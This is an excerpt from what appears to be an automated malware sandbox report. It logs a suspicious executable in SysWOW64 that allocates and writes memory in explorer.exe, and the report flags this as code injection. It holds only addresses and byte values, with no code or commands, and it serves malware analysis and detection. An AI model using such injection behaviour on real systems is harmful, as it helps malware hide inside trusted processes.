Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10440000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10450000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10460000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10470000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10480000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10490000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 104A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 104B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 104C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 104D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 104E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 104F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10500000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10510000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10520000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10530000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10540000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10550000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10560000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10570000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10580000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10590000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 105A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 105B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 105C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 105D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 105E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 105F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10600000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10610000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10620000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10630000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10640000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10650000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10660000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10670000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10680000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10690000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 106A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 106B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 106C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 106D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 106E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 106F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10700000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10710000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10720000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10730000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10740000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10750000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10760000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10770000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10780000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10790000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 107A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 107B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 107C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 107D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 107E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 107F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10800000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10810000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10820000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10830000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10840000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10850000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10860000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10870000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10880000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10890000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 108A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 108B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 108C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 108D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 108E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 108F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10900000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10910000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10920000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10930000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10940000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10950000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10960000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10970000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10980000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10990000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 109A0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 109B0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 109C0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 109D0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 109E0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 109F0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10A00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10A10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10A20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10A30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10A40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10A50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10A60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10A70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10A80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10A90000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10AA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10AB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10AC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10AD0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10AE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10AF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10B00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10B10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10B20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10B30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10B40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10B50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10B60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10B70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10B80000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10B90000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10BA0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10BB0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10BC0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10BD0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10BE0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10BF0000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10C00000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10C10000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10C20000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10C30000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10C40000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10C50000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10C60000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10C70000 protect: page read and write	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory allocated: C:\Windows\explorer.exe base: 10C80000 protect: page read and write	Jump to behavior

Injects code into the Windows Explorer (explorer.exe)

Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8540000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8040000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8510000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 86E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9020000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9030000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: A520000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: ADC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: B0B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: B0E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: B5C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: B5D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: B680000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: B660000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: B670000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: B690000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: B6A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: B6B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C6E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: C6F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E410000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E420000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 7790000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 83B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8360000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 83C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 83D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 83E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8400000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8F00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8410000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8420000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8EA0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8EB0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8EC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8EF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8ED0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8EE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 8F10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: 9040000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BAC0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BAD0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BB00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BAE0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BAF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: EF0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: F00000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: F20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: F30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: F40000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: F50000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BB20000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: F60000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BB10000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: BB30000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E430000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E440000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E450000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E460000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E470000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E480000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E490000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E4A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E4B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E690000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E4E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E680000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E6A0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E6B0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E6C0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E6D0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E6E0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E6F0000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E700000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E710000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E720000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E730000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E740000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E750000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E760000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E770000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E780000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E790000 value: 43	Jump to behavior
Source: C:\Windows\SysWOW64\edsuvoov-usum.exe	Memory written: PID: 640 base: E7A0000 value: 43	Jump to behavior
